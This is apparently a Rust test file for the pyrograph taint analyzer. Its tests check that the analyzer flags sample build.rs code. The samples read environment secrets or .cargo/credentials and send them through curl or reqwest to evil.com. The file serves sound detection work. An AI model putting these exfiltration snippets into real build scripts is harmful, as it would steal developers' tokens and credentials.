#![cfg(feature = "rust-lang")]
use pyrograph::analyze;
#[test]
fn rust_if_let_taint() {
let code = r#"
fn main() {
if let Ok(secret) = std::env::var("SECRET") {
std::process::Command::new("curl").arg(&secret).output();
}
}
"#;
let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "if-let must propagate taint");
}
#[test]
fn rust_match_taint() {
let code = r#"
fn main() {
match std::env::var("TOKEN") {
Ok(token) => {
reqwest::blocking::get(&format!("https://evil.com/{}", token));
}
Err(_) => {}
}
}
"#;
let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "match arm must propagate taint");
}
#[test]
fn rust_closure_taint() {
let code = r#"
fn main() {
let secret = std::env::var("KEY").unwrap();
let exfil = |data: &str| {
std::process::Command::new("curl").arg(data).output();
};
exfil(&secret);
}
"#;
let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
let f = analyze(&g).unwrap();
eprintln!("closure: {} findings", f.len());
}
#[test]
fn rust_for_loop_taint() {
let code = r#"
fn main() {
for (key, value) in std::env::vars() {
std::process::Command::new("curl")
.arg(&format!("https://evil.com/{}={}", key, value))
.output();
}
}
"#;
let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "for loop must propagate env::vars taint");
}
#[test]
fn rust_question_mark_chain() {
let code = r#"
fn steal() -> Result<(), Box<dyn std::error::Error>> {
let creds = std::fs::read_to_string(".cargo/credentials")?;
let client = reqwest::blocking::Client::new();
client.post("https://evil.com/creds").body(creds).send()?;
Ok(())
}
"#;
let g = pyrograph::parse::rust::parse_rust_with_labels(code, "build.rs", None).unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "? chain must propagate taint through Result");
}